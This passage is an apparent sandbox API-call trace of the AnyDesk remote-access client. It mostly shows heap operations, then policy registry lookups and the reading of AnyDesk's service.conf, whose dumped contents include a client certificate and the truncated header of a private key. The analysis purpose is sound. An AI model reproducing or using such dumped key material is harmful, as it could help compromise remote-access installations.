dwFlags=0x0, lpMem=0x1962540 | out: hHeap=0x1930000) returned 1 [0283.291] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19636a0 | out: hHeap=0x1930000) returned 1 [0283.291] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1962d60 | out: hHeap=0x1930000) returned 1 [0283.291] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19635e0 | out: hHeap=0x1930000) returned 1 [0283.291] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1963620 | out: hHeap=0x1930000) returned 1 [0283.291] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1962d40 | out: hHeap=0x1930000) returned 1 [0283.291] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1963560 | out: hHeap=0x1930000) returned 1 [0283.291] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19635a0 | out: hHeap=0x1930000) returned 1 [0283.291] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1962d20 | out: hHeap=0x1930000) returned 1 [0283.291] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19634e0 | out: hHeap=0x1930000) returned 1 [0283.291] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1973128 | out: hHeap=0x1930000) returned 1 [0283.291] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1962d00 | out: hHeap=0x1930000) returned 1 [0283.291] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19730b0 | out: hHeap=0x1930000) returned 1 [0283.291] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1962578 | out: hHeap=0x1930000) returned 1 [0283.291] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1962ce0 | out: hHeap=0x1930000) returned 1 [0283.291] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19624d0 | out: hHeap=0x1930000) returned 1 [0283.291] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1962508 | out: hHeap=0x1930000) returned 1 [0283.291] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1962cc0 | out: hHeap=0x1930000) returned 1 [0283.291] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1962498 | out: hHeap=0x1930000) returned 1 [0283.292] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1961e10 | out: hHeap=0x1930000) returned 1 [0283.292] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1962ca0 | out: hHeap=0x1930000) returned 1 [0283.292] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1961d80 | out: hHeap=0x1930000) returned 1 [0283.292] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1963520 | out: hHeap=0x1930000) returned 1 [0283.292] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1962c80 | out: hHeap=0x1930000) returned 1 [0283.292] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19634a0 | out: hHeap=0x1930000) returned 1 [0283.292] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1963460 | out: hHeap=0x1930000) returned 1 [0283.292] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1962c60 | out: hHeap=0x1930000) returned 1 [0283.292] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1990a18 | out: hHeap=0x1930000) returned 1 [0283.292] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1961db0 | out: hHeap=0x1930000) returned 1 [0283.292] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1961c20 | out: hHeap=0x1930000) returned 1 [0283.292] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1961d20 | out: hHeap=0x1930000) returned 1 [0283.292] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1962460 | out: hHeap=0x1930000) returned 1 [0283.292] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1961c00 | out: hHeap=0x1930000) returned 1 [0283.292] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196f6b0 | out: hHeap=0x1930000) returned 1 [0283.292] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1990a58 | out: hHeap=0x1930000) returned 1 [0283.292] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1961be0 | out: hHeap=0x1930000) returned 1 [0283.292] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1990998 | out: hHeap=0x1930000) returned 1 [0283.292] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19909d8 | out: hHeap=0x1930000) returned 1 [0283.293] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1961bc0 | out: hHeap=0x1930000) returned 1 [0283.293] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1990918 | out: hHeap=0x1930000) returned 1 [0283.293] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1990958 | out: hHeap=0x1930000) returned 1 [0283.293] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1961ba0 | out: hHeap=0x1930000) returned 1 [0283.293] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1990898 | out: hHeap=0x1930000) returned 1 [0283.293] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196f6e8 | out: hHeap=0x1930000) returned 1 [0283.293] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1961b80 | out: hHeap=0x1930000) returned 1 [0283.293] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196f640 | out: hHeap=0x1930000) returned 1 [0283.293] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1976020 | out: hHeap=0x1930000) returned 1 [0283.293] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1961b60 | out: hHeap=0x1930000) returned 1 [0283.293] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1975ea0 | out: hHeap=0x1930000) returned 1 [0283.293] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19725d0 | out: hHeap=0x1930000) returned 1 [0283.293] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1961b40 | out: hHeap=0x1930000) returned 1 [0283.293] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1971980 | out: hHeap=0x1930000) returned 1 [0283.294] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1971f48 | out: hHeap=0x1930000) returned 1 [0283.294] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc157b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 39 [0283.294] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4e) returned 0x1971f48 [0283.294] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc157b8, cbMultiByte=-1, lpWideCharStr=0x1971f48, cchWideChar=39 | out: lpWideCharStr="ad.security.frontend_clipboard_version") returned 39 [0283.294] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4e) returned 0x19725d0 [0283.294] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4e) returned 0x1971ff8 [0283.294] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x1961b40 [0283.294] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4e) returned 0x1972d60 [0283.294] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1971ff8 | out: hHeap=0x1930000) returned 1 [0283.294] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1971f48 | out: hHeap=0x1930000) returned 1 [0283.294] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1) returned 0x1971980 [0283.294] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9e3d, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0283.294] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1971860 [0283.295] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9e3d, cbMultiByte=-1, lpWideCharStr=0x1971860, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0283.295] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9e3d, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0283.295] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1971870 [0283.295] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9e3d, cbMultiByte=-1, lpWideCharStr=0x1971870, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0283.295] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1971970 [0283.295] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc274e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0283.295] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x8) returned 0x1971990 [0283.295] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc274e0, cbMultiByte=-1, lpWideCharStr=0x1971990, cchWideChar=4 | out: lpWideCharStr="ad.") returned 4 [0283.295] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1971990 | out: hHeap=0x1930000) returned 1 [0283.295] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x55) returned 0x1975ea0 [0283.295] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x44) returned 0x198c1e8 [0283.295] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1975ea0 | out: hHeap=0x1930000) returned 1 [0283.295] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1971990 [0283.295] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x1961b60 [0283.295] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4e) returned 0x1971f48 [0283.295] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1971990 | out: hHeap=0x1930000) returned 1 [0283.295] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1971970 | out: hHeap=0x1930000) returned 1 [0283.295] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x44) returned 0x198c0a8 [0283.295] RegQueryValueExW (in: hKey=0x0, lpValueName="security.frontendclipboardversion", lpReserved=0x0, lpType=0x12d4230, lpData=0x0, lpcbData=0x12d4234*=0x0 | out: lpType=0x12d4230*=0x0, lpData=0x0, lpcbData=0x12d4234*=0x0) returned 0x6 [0283.296] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x12d425c | out: phkResult=0x12d425c*=0x0) returned 0x2 [0283.296] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x198c0a8 | out: hHeap=0x1930000) returned 1 [0283.297] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1971860 | out: hHeap=0x1930000) returned 1 [0283.297] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x1971860 [0283.297] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1971870 | out: hHeap=0x1930000) returned 1 [0283.297] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1971860 | out: hHeap=0x1930000) returned 1 [0283.298] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1972d60 | out: hHeap=0x1930000) returned 1 [0283.298] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1961b40 | out: hHeap=0x1930000) returned 1 [0283.298] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1971980 | out: hHeap=0x1930000) returned 1 [0283.298] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19725d0 | out: hHeap=0x1930000) returned 1 [0283.298] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x198c198 | out: hHeap=0x1930000) returned 1 [0283.298] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1961760 | out: hHeap=0x1930000) returned 1 [0283.298] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196ee90 | out: hHeap=0x1930000) returned 1 [0283.298] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1975fc0 | out: hHeap=0x1930000) returned 1 [0283.299] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1961740 | out: hHeap=0x1930000) returned 1 [0283.299] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196eea0 | out: hHeap=0x1930000) returned 1 [0283.299] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1975f00 | out: hHeap=0x1930000) returned 1 [0283.299] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196eeb0 | out: hHeap=0x1930000) returned 1 [0283.299] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1980ef0 | out: hHeap=0x1930000) returned 1 [0283.299] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1961720 | out: hHeap=0x1930000) returned 1 [0283.299] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196eec0 | out: hHeap=0x1930000) returned 1 [0283.299] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1980e10 | out: hHeap=0x1930000) returned 1 [0283.300] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x197f9d0 | out: hHeap=0x1930000) returned 1 [0283.300] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1961700 | out: hHeap=0x1930000) returned 1 [0283.300] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x197f8e0 | out: hHeap=0x1930000) returned 1 [0283.300] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196f678 | out: hHeap=0x1930000) returned 1 [0283.300] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19616e0 | out: hHeap=0x1930000) returned 1 [0283.300] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196f5d0 | out: hHeap=0x1930000) returned 1 [0283.300] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19908d8 | out: hHeap=0x1930000) returned 1 [0283.301] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19616c0 | out: hHeap=0x1930000) returned 1 [0283.301] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1990818 | out: hHeap=0x1930000) returned 1 [0283.302] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1990858 | out: hHeap=0x1930000) returned 1 [0283.302] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19616a0 | out: hHeap=0x1930000) returned 1 [0283.302] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1990798 | out: hHeap=0x1930000) returned 1 [0283.303] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19907d8 | out: hHeap=0x1930000) returned 1 [0283.303] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1961680 | out: hHeap=0x1930000) returned 1 [0283.303] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1990718 | out: hHeap=0x1930000) returned 1 [0283.303] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19730d8 | out: hHeap=0x1930000) returned 1 [0283.304] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1961660 | out: hHeap=0x1930000) returned 1 [0283.304] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1973010 | out: hHeap=0x1930000) returned 1 [0283.304] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196f608 | out: hHeap=0x1930000) returned 1 [0283.304] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1961640 | out: hHeap=0x1930000) returned 1 [0283.305] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196f560 | out: hHeap=0x1930000) returned 1 [0283.305] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196f598 | out: hHeap=0x1930000) returned 1 [0283.305] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1961620 | out: hHeap=0x1930000) returned 1 [0283.305] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196f4f0 | out: hHeap=0x1930000) returned 1 [0283.306] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1961d50 | out: hHeap=0x1930000) returned 1 [0283.306] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1961600 | out: hHeap=0x1930000) returned 1 [0283.306] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1961cc0 | out: hHeap=0x1930000) returned 1 [0283.307] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1990758 | out: hHeap=0x1930000) returned 1 [0283.307] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19615e0 | out: hHeap=0x1930000) returned 1 [0283.307] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1990698 | out: hHeap=0x1930000) returned 1 [0283.307] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19906d8 | out: hHeap=0x1930000) returned 1 [0283.307] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19615c0 | out: hHeap=0x1930000) returned 1 [0283.308] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1990618 | out: hHeap=0x1930000) returned 1 [0283.308] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1961cf0 | out: hHeap=0x1930000) returned 1 [0283.308] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19615a0 | out: hHeap=0x1930000) returned 1 [0283.308] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1961c90 | out: hHeap=0x1930000) returned 1 [0283.308] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196f528 | out: hHeap=0x1930000) returned 1 [0283.309] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1961580 | out: hHeap=0x1930000) returned 1 [0283.309] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196f480 | out: hHeap=0x1930000) returned 1 [0283.309] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1990658 | out: hHeap=0x1930000) returned 1 [0283.309] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1961560 | out: hHeap=0x1930000) returned 1 [0283.309] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1990598 | out: hHeap=0x1930000) returned 1 [0283.310] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19905d8 | out: hHeap=0x1930000) returned 1 [0283.310] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1961540 | out: hHeap=0x1930000) returned 1 [0283.310] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1990518 | out: hHeap=0x1930000) returned 1 [0283.310] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1990558 | out: hHeap=0x1930000) returned 1 [0283.310] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196bd48 | out: hHeap=0x1930000) returned 1 [0283.311] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19904d8 | out: hHeap=0x1930000) returned 1 [0283.311] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196f4b8 | out: hHeap=0x1930000) returned 1 [0283.311] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196bd68 | out: hHeap=0x1930000) returned 1 [0283.311] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196f448 | out: hHeap=0x1930000) returned 1 [0283.312] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1975e40 | out: hHeap=0x1930000) returned 1 [0283.432] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196bd88 | out: hHeap=0x1930000) returned 1 [0283.433] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19755a0 | out: hHeap=0x1930000) returned 1 [0283.433] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1971fa0 | out: hHeap=0x1930000) returned 1 [0283.433] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196bda8 | out: hHeap=0x1930000) returned 1 [0283.434] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1972c58 | out: hHeap=0x1930000) returned 1 [0283.434] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x196bda8 [0283.434] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196bda8 | out: hHeap=0x1930000) returned 1 [0283.434] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x196bda8 [0283.434] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x12d4d50 | out: phkResult=0x12d4d50*=0x0) returned 0x2 [0283.434] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x196bd88 [0283.434] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x26) returned 0x1961c60 [0283.434] RegQueryInfoKeyW (in: hKey=0x0, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x12d4d18, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x12d4d1c, lpcbMaxValueNameLen=0x12d4d28, lpcbMaxValueLen=0x12d4d24, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x12d4cec | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x12d4d18*=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x12d4d1c*=0x0, lpcbMaxValueNameLen=0x12d4d28, lpcbMaxValueLen=0x12d4d24, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x12d4cec) returned 0x6 [0283.435] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1961c60 | out: hHeap=0x1930000) returned 1 [0283.435] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x12d4d50 | out: phkResult=0x12d4d50*=0x0) returned 0x2 [0283.435] GetCurrentProcess () returned 0xffffffff [0283.435] GetProcessId (Process=0xffffffff) returned 0x51c [0283.435] ProcessIdToSessionId (in: dwProcessId=0x51c, pSessionId=0x12d4d68 | out: pSessionId=0x12d4d68) returned 1 [0283.435] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x196bd68 [0283.435] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x26) returned 0x1961c60 [0283.435] RegQueryInfoKeyW (in: hKey=0x0, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x12d4d18, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x12d4d1c, lpcbMaxValueNameLen=0x12d4d28, lpcbMaxValueLen=0x12d4d24, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x12d4cec | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x12d4d18*=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x12d4d1c*=0x0, lpcbMaxValueNameLen=0x12d4d28, lpcbMaxValueLen=0x12d4d24, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x12d4cec) returned 0x6 [0283.435] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1961c60 | out: hHeap=0x1930000) returned 1 [0283.435] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196bba8 | out: hHeap=0x1930000) returned 1 [0283.435] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196bb88 | out: hHeap=0x1930000) returned 1 [0283.436] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196bda8 | out: hHeap=0x1930000) returned 1 [0283.436] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x196bda8 [0283.436] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x196bb88 [0283.436] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x48) returned 0x198c198 [0283.436] GetTickCount () returned 0xb7fa [0283.436] CreateFileW (lpFileName="C:\\ProgramData\\AnyDesk\\service.conf" (normalized: "c:\\programdata\\anydesk\\service.conf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0283.436] LockFileEx (in: hFile=0x18c, dwFlags=0x0, dwReserved=0x0, nNumberOfBytesToLockLow=0xffffffff, nNumberOfBytesToLockHigh=0xffffffff, lpOverlapped=0x12d4cfc | out: lpOverlapped=0x12d4cfc) returned 1 [0283.436] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x12d4d18 | out: lpFileSize=0x12d4d18*=2762) returned 1 [0283.436] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xaca) returned 0x1964448 [0283.436] ReadFile (in: hFile=0x18c, lpBuffer=0x1964448, nNumberOfBytesToRead=0xaca, lpNumberOfBytesRead=0x12d4d2c, lpOverlapped=0x0 | out: lpBuffer=0x1964448*, lpNumberOfBytesRead=0x12d4d2c*=0xaca, lpOverlapped=0x0) returned 1 [0283.436] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1964448, cbMultiByte=2762, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 2762 [0283.437] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1596) returned 0x1966780 [0283.437] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1964448, cbMultiByte=2762, lpWideCharStr=0x1966780, cchWideChar=2763 | out: lpWideCharStr="ad.anynet.cert=-----BEGIN CERTIFICATE-----\\nMIICqDCCAZACAQEwDQYJKoZIhvcNAQELBQAwGTEXMBUGA1UEAwwOQW55RGVzayBD\\nbGllbnQwIBcNMjIwODA1MTc0ODIyWhgPMjA3MjA3MjMxNzQ4MjJaMBkxFzAVBgNV\\nBAMMDkFueURlc2sgQ2xpZW50MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKC\\nAQEAoPovzJS9dgfgGwtrhPht7XdT85M4TiPyi7SesHHcrdlEAXfQ46fz1flCiD1/\\nzuNfst+7mrggrAE7Qk+Zcd/VcC7OQ9bmFnxZsfwDEeDLdMiPrz1ZwOYgQ0Zi+DoJ\\ntGCpJIpd5JuHYNj1IHF3tYt54cHLdAJMtWejVvX9G57TErKwtQ561t8sxqEKPFte\\nFLuhBA9Pk/ZgSwiQPBKY02J3zPip4Uc63gXKF1Zav8VN2UarQdgTHpXIRp07Qtbz\\nrXn4NECZV/5dWxHe95zvY8AIX+15BRm07i8EhuUkGXAPUUAVp+TBs80AuFBBkLrT\\nLAqSrR35Rc3PJPmPIoZtggf9qQIDAQABMA0GCSqGSIb3DQEBCwUAA4IBAQBeiD9m\\nZL7/APvs0tXI6j4KL1DRAYjWeGA9VinXZYobEfNyyk6FYuy62LJCwEu6DgKLz/6K\\n+rfjE6RfnA1RXRe8tfFFNSMnhF6GUHk9Mm1geo2BKOrEbnSdb+QH8kE2qvHv+E50\\nvPHA48acO2GrxYVRtK4YFpXOmwMnQHj+5abnol5xFgUzzS2nD2LCSdmuf+zk543l\\nwkm1arZpq74Ti/kr88MNKceE8ZLJIUHnwfwbDXlPuqfJy18i35d130JNDUv6XR9T\\nwcCKGjyKHHTKUntZ55MwjlBW/iMD2Y3vG6r16dDvnpEWr/dFTTFMOdELXeSWgpI1\\nQAytK30fPh4/PsHI\\n-----END CERTIFICATE-----\\n\nad.anynet.pkey=-----BEGIN PRIVATE 